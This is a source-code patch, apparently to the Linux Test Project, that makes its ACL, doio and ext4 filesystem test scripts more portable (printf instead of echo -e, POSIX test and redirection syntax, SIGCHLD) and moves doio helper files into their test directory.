 	touch $CUR_PATH/tacl/mount-ext2/shared/symlinkdir1/newfile8 2> /dev/null
 	if [ -e $CUR_PATH/tacl/mount-ext2/shared/symlinkdir1/newfile8 ]
 	then
-		echo ""
-		echo "SUCCESS: ACL_GROUP entry contains the group permissions,"
-		echo -e "\t option success [ Symlink Directory ]"
+		printf "\nSUCCESS: ACL_GROUP entry contains the group permissions,\n"
+		printf "\t option success [ Symlink Directory ]\n"
 	else
-		echo ""
-		echo "FAILED:  [ touch ] ACL_GROUP entry already contains the group permissions,"
-		echo -e "\t but option success [ Symlink Directory ]"
+		printf "\nFAILED:  [ touch ] ACL_GROUP entry already contains the group permissions,\n"
+		printf "\t but option success [ Symlink Directory ]\n"
 	fi
 
 TACL_USER2
@@ -399,29 +372,25 @@
 	touch $CUR_PATH/tacl/mount-ext2/shared/team1/newfile9 2> /dev/null
 	if [ -e $CUR_PATH/tacl/mount-ext2/shared/team1/newfile9 ]
 	then
-		echo ""
-		echo "FAILED:  [ touch ] ACL_GROUP entry contains the group permissions"
-		echo -e "\t and ACL_MASK entry are set ---,"
-		echo -e "\t option must no be success [ Physical Directory ]"
+		printf "\nFAILED:  [ touch ] ACL_GROUP entry contains the group permissions\n"
+		printf "\t and ACL_MASK entry are set ---,\n"
+		printf "\t option must no be success [ Physical Directory ]\n"
 	else
-		echo ""
-		echo "SUCCESS: ACL_GROUP entry already contains the group permissions"
-		echo -e "\t and ACL_MASK entry are set ---,"
-		echo -e "\t option success [ Physical Directory ]"
+		printf "\nSUCCESS: ACL_GROUP entry already contains the group permissions\n"
+		printf "\t and ACL_MASK entry are set ---,\n"
+		printf "\t option success [ Physical Directory ]\n"
 	fi
 
 	touch $CUR_PATH/tacl/mount-ext2/shared/symlinkdir1/newfile10 2> /dev/null
 	if [ -e $CUR_PATH/tacl/mount-ext2/shared/symlinkdir1/newfile10 ]
 	then
-		echo ""
-		echo "FAILED:  [ touch ] ACL_GROUP entry contains the group permissions"
-		echo -e "\t and ACL_MASK entry are set ---, "
-		echo -e "\t option must no be success [ Symlink Directory ]"
+		printf "\nFAILED:  [ touch ] ACL_GROUP entry contains the group permissions\n"
+		printf "\t and ACL_MASK entry are set ---,\n"
+		printf "\t option must no be success [ Symlink Directory ]\n"
 	else
-		echo ""
-		echo "SUCCESS: ACL_GROUP entry already contains the group permissions"
-		echo -e "\t and ACL_MASK entry are set ---,"
-		echo -e "\t option success [ Symlink Directory ]"
+		printf "\nSUCCESS: ACL_GROUP entry already contains the group permissions\n"
+		printf "\t and ACL_MASK entry are set ---,\n"
+		printf "\t option success [ Symlink Directory ]\n"
 	fi
 
 TACL_USER2
@@ -434,25 +403,21 @@
 	touch $CUR_PATH/tacl/mount-ext2/shared/team1/newfile11 2> /dev/null
 	if [ -e $CUR_PATH/tacl/mount-ext2/shared/team1/newfile11 ]
 	then
-		echo ""
-		echo "SUCCESS: ACL_GROUP_OBJ entry contains the group owner permissions,"
-		echo -e "\t option success [ Physical Directory ]"
+		printf "\nSUCCESS: ACL_GROUP_OBJ entry contains the group owner permissions,\n"
+		printf "\t option success [ Physical Directory ]\n"
 	else
-		echo ""
-		echo "FAILED:  [ touch ] ACL_GROUP_OBJ entry already contains the group owner,"
-		echo -e "\t but option denied [ Physical Directory ]"
+		printf "\nFAILED:  [ touch ] ACL_GROUP_OBJ entry already contains the group owner,\n"
+		printf "\t but option denied [ Physical Directory ]\n"
 	fi
 
 	touch $CUR_PATH/tacl/mount-ext2/shared/symlinkdir1/newfile12 2> /dev/null
 	if [ -e $CUR_PATH/tacl/mount-ext2/shared/symlinkdir1/newfile12 ]
 	then
-		echo ""
-		echo "SUCCESS: ACL_GROUP_OBJ entry contains the group owner permissions,"
-		echo -e "\t option success [ Symlink Directory ]"
+		printf "\nSUCCESS: ACL_GROUP_OBJ entry contains the group owner permissions,\n"
+		printf "\t option success [ Symlink Directory ]\n"
 	else
-		echo ""
-		echo "FAILED:  [ touch ] ACL_GROUP_OBJ entry already contains the group owner,"
-		echo -e "\t but option denied [ Symlink Directory ]"
+		printf "\nFAILED:  [ touch ] ACL_GROUP_OBJ entry already contains the group owner,\n"
+		printf "\t but option denied [ Symlink Directory ]\n"
 	fi
 
 TACL_USER2
@@ -463,29 +428,25 @@
 	touch $CUR_PATH/tacl/mount-ext2/shared/team1/newfile13 2> /dev/null
 	if [ -e $CUR_PATH/tacl/mount-ext2/shared/team1/newfile13 ]
 	then
-		echo ""
-		echo "FAILED:  [ touch ] ACL_GROUP_OBJ entry contains the group owner permissions"
-		echo -e "\t and ACL_MASK entry are set ---,"
-		echo -e "\t option must no be success [ Physical Directory ]"
+		printf "\nFAILED:  [ touch ] ACL_GROUP_OBJ entry contains the group owner permissions\n"
+		printf "\t and ACL_MASK entry are set ---,\n"
+		printf "\t option must no be success [ Physical Directory ]\n"
 	else
-		echo ""
-		echo "SUCCESS: ACL_GROUP_OBJ entry already contains the group owner permissions"
-		echo -e "\t and ACL_MASK entry are set ---,"
-		echo -e "\t option success [ Physical Directory ]"
+		printf "\nSUCCESS: ACL_GROUP_OBJ entry already contains the group owner permissions\n"
+		printf "\t and ACL_MASK entry are set ---,\n"
+		printf "\t option success [ Physical Directory ]\n"
 	fi
 
 	touch $CUR_PATH/tacl/mount-ext2/shared/symlinkdir1/newfile14 2> /dev/null
 	if [ -e $CUR_PATH/tacl/mount-ext2/shared/symlinkdir1/newfile14 ]
 	then
-		echo ""
-		echo "FAILED:  [ touch ] ACL_GROUP_OBJ entry contains the group owner permissions"
-		echo -e "\t and ACL_MASK entry are set ---,"
-		echo -e "\t option must no be success [ Symlink Directory ]"
+		printf "\nFAILED:  [ touch ] ACL_GROUP_OBJ entry contains the group owner permissions\n"
+		printf "\t and ACL_MASK entry are set ---,\n"
+		printf "\t option must no be success [ Symlink Directory ]\n"
 	else
-		echo ""
-		echo "SUCCESS: ACL_GROUP_OBJ entry already contains the group owner permissions"
-		echo -e "\t and ACL_MASK entry are set ---, "
-		echo -e "\t option success [ Symlink Directory ]"
+		printf "\nSUCCESS: ACL_GROUP_OBJ entry already contains the group owner permissions\n"
+		printf "\t and ACL_MASK entry are set ---,\n"
+		printf "\t option success [ Symlink Directory ]\n"
 	fi
 
 TACL_USER2
@@ -505,25 +466,21 @@
 	touch $CUR_PATH/tacl/mount-ext2/shared/team1/newfile15 2> /dev/null
 	if [ -e $CUR_PATH/tacl/mount-ext2/shared/team1/newfile15 ]
 	then
-		echo ""
-		echo "SUCCESS: ACL_OTHER entry contains the user permissions,"
-		echo -e "\t operation success [ Physical Directory ]"
+		printf "\nSUCCESS: ACL_OTHER entry contains the user permissions,\n"
+		printf "\t operation success [ Physical Directory ]\n"
 	else
-		echo ""
-		echo "FAILED:  ACL_OTHER entry contains the user permissions,"
-		echo -e "\t but operation denied [ Physical Directory ]"
+		printf "\nFAILED:  ACL_OTHER entry contains the user permissions,\n"
+		printf "\t but operation denied [ Physical Directory ]\n"
 	fi
 
 	touch $CUR_PATH/tacl/mount-ext2/shared/symlinkdir1/newfile16 2> /dev/null
 	if [ -e $CUR_PATH/tacl/mount-ext2/shared/symlinkdir1/newfile16 ]
 	then
-		echo ""
-		echo "SUCCESS: ACL_OTHER entry contains the user permissions,"
-		echo -e "\t operation success [ Symlink Directory ]"
+		printf "\nSUCCESS: ACL_OTHER entry contains the user permissions,\n"
+		printf "\t operation success [ Symlink Directory ]\n"
 	else
-		echo ""
-		echo "FAILED:  ACL_OTHER entry contains the user permissions,"
-		echo -e "\t but operation denied [ Symlink Directory ]"
+		printf "\nFAILED:  ACL_OTHER entry contains the user permissions,\n"
+		printf "\t but operation denied [ Symlink Directory ]\n"
 	fi
 
 TACL_USER4
@@ -535,21 +492,17 @@
 	touch $CUR_PATH/tacl/mount-ext2/shared/team1/newfile17 2> /dev/null
 	if [ -e $CUR_PATH/tacl/mount-ext2/shared/team1/newfile17 ]
 	then
-		echo ""
-		echo "SUCCESS: [ touch ] ACL_OTHER do not strick by ACL_MASK [ Physical Directory ]"
+		printf "\nSUCCESS: [ touch ] ACL_OTHER do not strick by ACL_MASK [ Physical Directory ]\n"
 	else
-		echo ""
-		echo "FAILED:  ACL_OTHER do not strick by ACL_MASK [ Physical Directory ]"
+		printf "\nFAILED:  ACL_OTHER do not strick by ACL_MASK [ Physical Directory ]\n"
 	fi
 
 	touch $CUR_PATH/tacl/mount-ext2/shared/symlinkdir1/newfile18 2> /dev/null
 	if [ -e $CUR_PATH/tacl/mount-ext2/shared/symlinkdir1/newfile18 ]
 	then
-		echo ""
-		echo "SUCCESS: [ touch ] ACL_OTHER do not strick by ACL_MASK [ Symlink Directory ]"
+		printf "\nSUCCESS: [ touch ] ACL_OTHER do not strick by ACL_MASK [ Symlink Directory ]\n"
 	else
-		echo ""
-		echo "FAILED:  ACL_OTHER do not strick by ACL_MASK [ Symlink Directory ]"
+		printf "\nFAILED:  ACL_OTHER do not strick by ACL_MASK [ Symlink Directory ]\n"
 	fi
 
 TACL_USER4
@@ -583,11 +536,9 @@
 
 if [ $RES != "" ]
 then
-	echo ""
-	echo "SUCCESS: With default ACLs set , new file permission set correct."
+	printf "\nSUCCESS: With default ACLs set, new file permission set correct.\n"
 else
-	echo ""
-	echo "FAILED:  With default ACLs set , new file permission set not correct"
+	printf "\nFAILED:  With default ACLs set, new file permission set not correct\n"
 fi
 
 
@@ -611,11 +562,9 @@
 
 if [ $RES != "" ]
 then
-	echo ""
-	echo "SUCCESS: With default ACLs set , new file permission set correct."
+	printf "\nSUCCESS: With default ACLs set, new file permission set correct.\n"
 else
-	echo ""
-	echo "FAILED:  With default ACLs set , new file permission set not correct"
+	printf "\nFAILED:  With default ACLs set, new file permission set not correct\n"
 fi
 
 #
@@ -638,11 +587,9 @@
 
 if [ $RES != "" ]
 then
-	echo ""
-	echo "SUCCESS: With default ACLs set , new file permission set correct."
+	printf "\nSUCCESS: With default ACLs set, new file permission set correct.\n"
 else
-	echo ""
-	echo "FAILED:  With default ACLs set , new file permission set not correct"
+	printf "\nFAILED:  With default ACLs set, new file permission set not correct\n"
 fi
 
 
@@ -667,25 +614,21 @@
 GROUP_PERMISSION=`echo $CONTENT | awk '{print \$12}'`
 OTHER_PERMISSION=`echo $CONTENT | awk '{print \$15}'`
 
-if [ $USER_PERMISSION == "user::rwx" ]
+if [ $USER_PERMISSION = "user::rwx" ]
 then
-	if [ $GROUP_PERMISSION == "group::rwx" ]
+	if [ $GROUP_PERMISSION = "group::rwx" ]
 	then
-		if [ $OTHER_PERMISSION == "other::rwx" ]
+		if [ $OTHER_PERMISSION = "other::rwx" ]
 		then
-			echo ""
-			echo "SUCCESS: Chmod with ACL_USER_OBJ ACL_GROUP_OBJ and ACL_OTHER are correct"
+			printf "\nSUCCESS: Chmod with ACL_USER_OBJ ACL_GROUP_OBJ and ACL_OTHER are correct\n"
 		else
-			echo ""
-			echo "FAILED:  Chmod with ACL_USER_OBJ ACL_GROUP_OBJ and ACL_OTHER are not correct"
+			printf "\nFAILED:  Chmod with ACL_USER_OBJ ACL_GROUP_OBJ and ACL_OTHER are not correct\n"
 		fi
 	else
-		echo ""
-		echo "FAILED:  Chmod with ACL_USER_OBJ ACL_GROUP_OBJ and ACL_OTHER are not correct"
+		printf "\nFAILED:  Chmod with ACL_USER_OBJ ACL_GROUP_OBJ and ACL_OTHER are not correct\n"
 	fi
 else
-	echo ""
-	echo "FAILED:  Chmod with ACL_USER_OBJ ACL_GROUP_OBJ and ACL_OTHER are not correct"
+	printf "\nFAILED:  Chmod with ACL_USER_OBJ ACL_GROUP_OBJ and ACL_OTHER are not correct\n"
 fi
 
 
@@ -702,15 +645,13 @@
 ITEM_OWNER=`echo $CONTENT | awk '{print \$6}'`
 ITEM_GROUP=`echo $CONTENT | awk '{print \$9}'`
 
-if [ $ITEM_OWNER == "tacluser2" ]
+if [ $ITEM_OWNER = "tacluser2" ]
 then
-	if [ $ITEM_GROUP == "tacluser2" ]
+	if [ $ITEM_GROUP = "tacluser2" ]
 	then
-		echo ""
-		echo "SUCCESS: Chown correct"
+		printf "\nSUCCESS: Chown correct\n"
 	else
-		echo ""
-		echo "FAILED:  Chown are not correct"
+		printf "\nFAILED:  Chown are not correct\n"
 	fi
 else
 	echo "FAILED:  Chown are not correct"
@@ -729,15 +670,12 @@
 
 if [ `diff tacl/tmp1 tacl/tmp2` ]
 then
-	echo ""
-	echo "FAILED:  ACLs backup and restore are not correct"
+	printf "\nFAILED:  ACLs backup and restore are not correct\n"
 else
-	echo ""
-	echo "SUCCESS: ACLs backup and restore are correct"
+	printf "\nSUCCESS: ACLs backup and restore are correct\n"
 fi
 
-echo ""
-echo -e "\tEnd ACLs Test"
+printf "\n\tEnd ACLs Test\n"
 
 #####################################################
 #
@@ -745,13 +683,10 @@
 #
 #####################################################
 
-echo
-echo "Now begin Extend Attribute Test"
+printf "\nNow begin Extend Attribute Test\n"
 
 # dir
-echo
-echo "Attach name:value pair to object dir "
-echo ""
+printf "\nAttach name:value pair to object dir\n\n"
 attr -s attrname1 -V attrvalue1 tacl/mount-ext2/shared/team2
 if [ $? != 0 ]
 then
@@ -849,15 +784,12 @@
 getfattr -dhR -m- -e hex tacl/mount-ext2 > tacl/backup.ea1
 if [ `diff  tacl/backup.ea1  tacl/backup.ea` ]
 then
-        echo ""
-        echo "FAILED:  EAs backup and restore are not correct"
+        printf "\nFAILED:  EAs backup and restore are not correct\n"
 else
-        echo ""
-        echo "SUCCESS: EAs backup and restore are correct"
+        printf "\nSUCCESS: EAs backup and restore are correct\n"
 fi
 
-echo ""
-echo -e "\tEnd EAs Test"
+printf "\n\tEnd EAs Test\n"
 
 
 
diff --git a/testcases/kernel/fs/acls/Makefile b/testcases/kernel/fs/acls/Makefile
index d684254..4f15643 100644
--- a/testcases/kernel/fs/acls/Makefile
+++ b/testcases/kernel/fs/acls/Makefile
@@ -17,7 +17,7 @@
 #    with this program; if not, write to the Free Software Foundation, Inc.,
 #    51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
 #
-# Garrett Cooper, July 2009
+# Ngie Cooper, July 2009
 #
 
 top_srcdir		?= ../../../..
diff --git a/testcases/kernel/fs/doio/Makefile b/testcases/kernel/fs/doio/Makefile
index 7e56089..449e100 100644
--- a/testcases/kernel/fs/doio/Makefile
+++ b/testcases/kernel/fs/doio/Makefile
@@ -17,16 +17,25 @@
 #    with this program; if not, write to the Free Software Foundation, Inc.,
 #    51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
 #
-# Garrett Cooper, July 2009
+# Ngie Cooper, July 2009
 #
 
 top_srcdir		?= ../../../..
 
 include $(top_srcdir)/include/mk/testcases.mk
 
-CFLAGS			+= -D_LARGEFILE64_SOURCE -Wall
+CFLAGS			+= -D_LARGEFILE64_SOURCE -Wall \
+			   -I$(abs_top_srcdir)/testcases/kernel/fs/doio/include/
 LDLIBS			+= -lrt -lpthread
 
+MAKE_TARGETS		:= growfiles doio iogen
 INSTALL_TARGETS		:= rwtest
 
+
+$(MAKE_TARGETS): dataascii.o databin.o file_lock.o forker.o open_flags.o \
+		 datapid.o write_log.o pattern.o string_to_tokens.o \
+		 bytes_by_prefix.o
+
+%.o: $(abs_top_srcdir)/testcases/kernel/fs/doio/%.c
+
 include $(top_srcdir)/include/mk/generic_leaf_target.mk
diff --git a/lib/bytes_by_prefix.c b/testcases/kernel/fs/doio/bytes_by_prefix.c
similarity index 95%
rename from lib/bytes_by_prefix.c
rename to testcases/kernel/fs/doio/bytes_by_prefix.c
index f73b227..797442c 100644
--- a/lib/bytes_by_prefix.c
+++ b/testcases/kernel/fs/doio/bytes_by_prefix.c
@@ -58,14 +58,11 @@
  *
  ****************************************************************************/
 
-#if CRAY
-#define B_MULT	BSIZE		/* block size */
-#elif sgi
-#define B_MULT	BBSIZE		/* block size */
-#elif defined(__linux__) || defined(__sun) || defined(__hpux)
+#ifdef DEV_BSIZE
 #define B_MULT	DEV_BSIZE	/* block size */
-#elif defined(_AIX)
-#define B_MULT UBSIZE
+#else
+#warning DEV_BSIZE is not defined, defaulting to 512
+#define B_MULT	512
 #endif
 
 #define K_MULT	1024		/* Kilo or 2^10 */
diff --git a/lib/dataascii.c b/testcases/kernel/fs/doio/dataascii.c
similarity index 100%
rename from lib/dataascii.c
rename to testcases/kernel/fs/doio/dataascii.c
diff --git a/lib/databin.c b/testcases/kernel/fs/doio/databin.c
similarity index 100%
rename from lib/databin.c
rename to testcases/kernel/fs/doio/databin.c
diff --git a/lib/datapid.c b/testcases/kernel/fs/doio/datapid.c
similarity index 100%
rename from lib/datapid.c
rename to testcases/kernel/fs/doio/datapid.c
diff --git a/testcases/kernel/fs/doio/doio.c b/testcases/kernel/fs/doio/doio.c
index 4b0dec5..be68999 100644
--- a/testcases/kernel/fs/doio/doio.c
+++ b/testcases/kernel/fs/doio/doio.c
@@ -573,7 +573,7 @@
 		case SIGTSTP:
 		case SIGSTOP:
 		case SIGCONT:
-		case SIGCLD:
+		case SIGCHLD:
 		case SIGBUS:
 		case SIGSEGV:
 		case SIGQUIT:
@@ -615,7 +615,7 @@
 	}
 
 	sigemptyset(&block_mask);
-	sigaddset(&block_mask, SIGCLD);
+	sigaddset(&block_mask, SIGCHLD);
 	sigprocmask(SIG_BLOCK, &block_mask, &omask);
 
 	/*
@@ -4743,7 +4743,7 @@
 #ifdef RECALL_SIZEOF
 	long mask[RECALL_SIZEOF];
 #endif
-	sigset_t sigset;
+	sigset_t signalset;
 	struct aio_info *aiop;
 #ifdef CRAY
 	struct iosw *ioswlist[1];
@@ -4762,11 +4762,11 @@
 		break;
 
 	case A_SIGNAL:
-		sigemptyset(&sigset);
+		sigemptyset(&signalset);
 		sighold(aiop->sig);
 
 		while (!aiop->signalled || !aiop->done) {
-			sigsuspend(&sigset);
+			sigsuspend(&signalset);
 			sighold(aiop->sig);
 		}
 		break;
diff --git a/lib/file_lock.c b/testcases/kernel/fs/doio/file_lock.c
similarity index 100%
rename from lib/file_lock.c
rename to testcases/kernel/fs/doio/file_lock.c
diff --git a/lib/forker.c b/testcases/kernel/fs/doio/forker.c
similarity index 100%
rename from lib/forker.c
rename to testcases/kernel/fs/doio/forker.c
diff --git a/testcases/kernel/fs/doio/growfiles.c b/testcases/kernel/fs/doio/growfiles.c
index 09e7f35..bbad230 100644
--- a/testcases/kernel/fs/doio/growfiles.c
+++ b/testcases/kernel/fs/doio/growfiles.c
@@ -1640,7 +1640,7 @@
 #ifdef SIGRESTART
 		case SIGRESTART:
 #endif /* SIGRESTART */
-		case SIGCLD:
+		case SIGCHLD:
 			break;
 
 		default:
diff --git a/include/old/bytes_by_prefix.h b/testcases/kernel/fs/doio/include/bytes_by_prefix.h
similarity index 100%
rename from include/old/bytes_by_prefix.h
rename to testcases/kernel/fs/doio/include/bytes_by_prefix.h
diff --git a/include/old/dataascii.h b/testcases/kernel/fs/doio/include/dataascii.h
similarity index 100%
rename from include/old/dataascii.h
rename to testcases/kernel/fs/doio/include/dataascii.h
diff --git a/include/old/databin.h b/testcases/kernel/fs/doio/include/databin.h
similarity index 100%
rename from include/old/databin.h
rename to testcases/kernel/fs/doio/include/databin.h
diff --git a/include/old/file_lock.h b/testcases/kernel/fs/doio/include/file_lock.h
similarity index 100%
rename from include/old/file_lock.h
rename to testcases/kernel/fs/doio/include/file_lock.h
diff --git a/include/old/forker.h b/testcases/kernel/fs/doio/include/forker.h
similarity index 100%
rename from include/old/forker.h
rename to testcases/kernel/fs/doio/include/forker.h
diff --git a/include/old/open_flags.h b/testcases/kernel/fs/doio/include/open_flags.h
similarity index 100%
rename from include/old/open_flags.h
rename to testcases/kernel/fs/doio/include/open_flags.h
diff --git a/include/old/pattern.h b/testcases/kernel/fs/doio/include/pattern.h
similarity index 100%
rename from include/old/pattern.h
rename to testcases/kernel/fs/doio/include/pattern.h
diff --git a/include/old/string_to_tokens.h b/testcases/kernel/fs/doio/include/string_to_tokens.h
similarity index 100%
rename from include/old/string_to_tokens.h
rename to testcases/kernel/fs/doio/include/string_to_tokens.h
diff --git a/include/old/write_log.h b/testcases/kernel/fs/doio/include/write_log.h
similarity index 100%
rename from include/old/write_log.h
rename to testcases/kernel/fs/doio/include/write_log.h
diff --git a/lib/open_flags.c b/testcases/kernel/fs/doio/open_flags.c
similarity index 100%
rename from lib/open_flags.c
rename to testcases/kernel/fs/doio/open_flags.c
diff --git a/lib/pattern.c b/testcases/kernel/fs/doio/pattern.c
similarity index 100%
rename from lib/pattern.c
rename to testcases/kernel/fs/doio/pattern.c
diff --git a/lib/string_to_tokens.c b/testcases/kernel/fs/doio/string_to_tokens.c
similarity index 100%
rename from lib/string_to_tokens.c
rename to testcases/kernel/fs/doio/string_to_tokens.c
diff --git a/lib/write_log.c b/testcases/kernel/fs/doio/write_log.c
similarity index 99%
rename from lib/write_log.c
rename to testcases/kernel/fs/doio/write_log.c
index 6fc6258..e8ef9c7 100644
--- a/lib/write_log.c
+++ b/testcases/kernel/fs/doio/write_log.c
@@ -77,7 +77,8 @@
 #ifdef DEV_BSIZE
 #define BSIZE DEV_BSIZE
 #else
-#define BSIZE BBSIZE
+#warning DEV_BSIZE is not defined, defaulting to 512
+#define BSIZE 512
 #endif
 #endif
 
diff --git a/testcases/kernel/fs/ext4-new-features/ext4-delalloc-mballoc/ext4-alloc-test.sh b/testcases/kernel/fs/ext4-new-features/ext4-delalloc-mballoc/ext4-alloc-test.sh
index 16f621f..a5215bd 100755
--- a/testcases/kernel/fs/ext4-new-features/ext4-delalloc-mballoc/ext4-alloc-test.sh
+++ b/testcases/kernel/fs/ext4-new-features/ext4-delalloc-mballoc/ext4-alloc-test.sh
@@ -28,7 +28,7 @@
 # Case 17: mount ext4 partition to ext3
 ext4_test_remount()
 {
-	mkfs.ext3 -I 256 -b 1024 $EXT4_DEV &> /dev/null
+	mkfs.ext3 -I 256 -b 1024 $EXT4_DEV >/dev/null 2>&1
 	if [ $? -ne 0 ]; then
 		tst_resm TFAIL "failed to create ext4 filesystem"
 		return
@@ -60,7 +60,7 @@
 	fi
 	umount mnt_point
 
-	fsck -p $EXT4_DEV &> /dev/null
+	fsck -p $EXT4_DEV >/dev/null 2>&1
 	if [ $? -ne 0 ]; then
 		tst_resm TFAIL "fsck returned failure"
 		return
@@ -78,13 +78,13 @@
 {
 	tst_resm TINFO "isDelalloc: $1, isDirectIO: $2, Blocksize: $3, isAuto_da_alloc: $4"
 
-	mkfs.ext4 -I 256 -b $3 /$EXT4_DEV &> /dev/null
+	mkfs.ext4 -I 256 -b $3 /$EXT4_DEV >/dev/null 2>&1
 	if [ $? -ne 0 ]; then
 		tst_resm TFAIL "failed to create ext4 filesystem"
 		return
 	fi
 
-	tune2fs -O extents $EXT4_DEV &> /dev/null
+	tune2fs -O extents $EXT4_DEV >/dev/null 2>&1
 
 	mount -t ext4 -o $1,$4 $EXT4_DEV mnt_point
 	if [ $? -ne 0 ]; then
@@ -105,7 +105,7 @@
 		return
 	fi
 
-	fsck -p $EXT4_DEV &> /dev/null
+	fsck -p $EXT4_DEV >/dev/null 2>&1
 	if [ $? -ne 0 ]; then
 		tst_resm TFAIL "fsck returned failure"
 		return
diff --git a/testcases/kernel/fs/ext4-new-features/ext4-inode-version/ext4_get_inode_version.sh b/testcases/kernel/fs/ext4-new-features/ext4-inode-version/ext4_get_inode_version.sh
index d45d6d3..5c89b23 100755
--- a/testcases/kernel/fs/ext4-new-features/ext4-inode-version/ext4_get_inode_version.sh
+++ b/testcases/kernel/fs/ext4-new-features/ext4-inode-version/ext4_get_inode_version.sh
@@ -33,7 +33,7 @@
 
 inode_version=$(( $inode_version ))
 
-if [ "$2" == "1" ]; then
+if [ "$2" = "1" ]; then
 	exit $inode_version
 else
 	echo $inode_version
diff --git a/testcases/kernel/fs/ext4-new-features/ext4-inode-version/ext4_inode_version_test.sh b/testcases/kernel/fs/ext4-new-features/ext4-inode-version/ext4_inode_version_test.sh
index ac8f021..ef02cc0 100755
--- a/testcases/kernel/fs/ext4-new-features/ext4-inode-version/ext4_inode_version_test.sh
+++ b/testcases/kernel/fs/ext4-new-features/ext4-inode-version/ext4_inode_version_test.sh
@@ -33,13 +33,13 @@
 {
 	tst_resm TINFO "Test inode version is 32 bits with 128 inode size"
 
-	mkfs.ext4 -I 128 $EXT4_DEV &> /dev/null
+	mkfs.ext4 -I 128 $EXT4_DEV >/dev/null 2>&1
 	if [ $? -ne 0 ]; then
 		tst_resm TFAIL "failed to create ext4 filesystem"
 		return
 	fi
 
-	tune2fs -O extents $EXT4_DEV &> /dev/null
+	tune2fs -O extents $EXT4_DEV >/dev/null 2>&1
 
 	mount -t ext4 -o i_version $EXT4_DEV mnt_point
 	if [ $? -ne 0 ]; then
@@ -83,7 +83,7 @@
 # $1: file operation
 test_inode_version()
 {
-	mkfs.ext3 -I 256 $EXT4_DEV &> /dev/null
+	mkfs.ext3 -I 256 $EXT4_DEV >/dev/null 2>&1
 	if [ $? -ne 0 ]; then
 		tst_resm TFAIL "failed to create ext4 filesystem"
 		return
diff --git a/testcases/kernel/fs/ext4-new-features/ext4-inode-version/ext4_test_inode_version.c b/testcases/kernel/fs/ext4-new-features/ext4-inode-version/ext4_test_inode_version.c
index 533f694..1f7647b 100644
--- a/testcases/kernel/fs/ext4-new-features/ext4-inode-version/ext4_test_inode_version.c
+++ b/testcases/kernel/fs/ext4-new-features/ext4-inode-version/ext4_test_inode_version.c
@@ -21,7 +21,7 @@
 /******************************************************************************/
 
 #include <unistd.h>
-#include <wait.h>
+#include <sys/wait.h>
 #include <string.h>
 #include <stdlib.h>
 #include <stdio.h>
diff --git a/testcases/kernel/fs/ext4-new-features/ext4-journal-checksum/ext4_journal_checksum.sh b/testcases/kernel/fs/ext4-new-features/ext4-journal-checksum/ext4_journal_checksum.sh
index c776fc9..2f357d8 100755
--- a/testcases/kernel/fs/ext4-new-features/ext4-journal-checksum/ext4_journal_checksum.sh
+++ b/testcases/kernel/fs/ext4-new-features/ext4-journal-checksum/ext4_journal_checksum.sh
@@ -40,12 +40,12 @@
 	local checksum=
 	local async_commit=
 
-	if [ "$3" == "" ]; then
+	if [ -z "$3" ]; then
 		checksum="No use"
 	else
 		checksum="Used"
 	fi
-	if [ "$4" == "" ]; then
+	if [ -z "$4" ]; then
 		async_commit="No use"
 	else
 		async_commit="Used"
@@ -55,13 +55,13 @@
 		"journal_checksum: $checksum, " \
 		"journal_async_commit: $async_commit, barrier: $5"
 
-	mkfs.ext4 -I 256 $EXT4_DEV &> /dev/null
+	mkfs.ext4 -I 256 $EXT4_DEV >/dev/null 2>&1
 	if [ $? -ne 0 ]; then
 		tst_resm TFAIL "failed to create ext4 filesystem"
 		return
 	fi
 
-	tune2fs -O extents $EXT4_DEV &> /dev/null
+	tune2fs -O extents $EXT4_DEV >/dev/null 2>&1
 
 	mount -t ext4 -o data=$1,commit=$2,$3,$4,barrier=$5 $EXT4_DEV mnt_point
 	if [ $? -ne 0 ]; then
@@ -82,7 +82,7 @@
 		return
 	fi
 
-	e2fsck -p $EXT4_DEV &> /dev/null
+	e2fsck -p $EXT4_DEV >/dev/null 2>&1
 	if [ $? -ne 0 ]; then
 		tst_resm TFAIL "fsck returned failure"
 		return
diff --git a/testcases/kernel/fs/ext4-new-features/ext4-nsec-timestamps/ext4_nsec_timestamps_test.sh b/testcases/kernel/fs/ext4-new-features/ext4-nsec-timestamps/ext4_nsec_timestamps_test.sh
index ec1c6a3..c6ff7c2 100755
--- a/testcases/kernel/fs/ext4-new-features/ext4-nsec-timestamps/ext4_nsec_timestamps_test.sh
+++ b/testcases/kernel/fs/ext4-new-features/ext4-nsec-timestamps/ext4_nsec_timestamps_test.sh
@@ -33,13 +33,13 @@
 {
 	tst_resm TINFO "Test timestamps with 128 inode size"
 
-	mkfs.ext4 -I 128 $EXT4_DEV &> /dev/null
+	mkfs.ext4 -I 128 $EXT4_DEV >/dev/null 2>&1
 	if [ $? -ne 0 ]; then
 		tst_resm TFAIL "failed to create ext4 filesystem"
 		return
 	fi
 
-	tune2fs -O extents $EXT4_DEV &> /dev/null
+	tune2fs -O extents $EXT4_DEV >/dev/null 2>&1
 
 	mount -t ext4 $EXT4_DEV mnt_point
 	if [ $? -ne 0 ]; then
@@ -74,7 +74,7 @@
 {
 	tst_resm TINFO "Test timestamps with 256 inode size"
 
-	mkfs.ext3 -I 256 $EXT4_DEV &> /dev/null
+	mkfs.ext3 -I 256 $EXT4_DEV >/dev/null 2>&1
 	if [ $? -ne 0 ]; then
 		tst_resm TFAIL "failed to create ext4 filesystem"
 		return
diff --git a/testcases/kernel/fs/ext4-new-features/ext4-persist-prealloc/ext4_persist_prealloc_test.sh b/testcases/kernel/fs/ext4-new-features/ext4-persist-prealloc/ext4_persist_prealloc_test.sh
index e2b81a2..2a4b699 100755
--- a/testcases/kernel/fs/ext4-new-features/ext4-persist-prealloc/ext4_persist_prealloc_test.sh
+++ b/testcases/kernel/fs/ext4-new-features/ext4-persist-prealloc/ext4_persist_prealloc_test.sh
@@ -32,7 +32,7 @@
 # $1: 1024 or 4096
 ext4_test_persist_prealloc()
 {
-	mkfs.ext4 -I 256 -b $1 $EXT4_DEV &> /dev/null
+	mkfs.ext4 -I 256 -b $1 $EXT4_DEV >/dev/null 2>&1
 	if [ $? -ne 0 ]; then
 		tst_resm TFAIL "failed to create ext4 filesystem"
 		return
@@ -72,7 +72,7 @@
 		return
 	fi
 
-	e2fsck -p $EXT4_DEV &> /dev/null
+	e2fsck -p $EXT4_DEV >/dev/null 2>&1
 	if [ $? -ne 0 ]; then
 		tst_resm TFAIL "fsck returned failure"
 		return
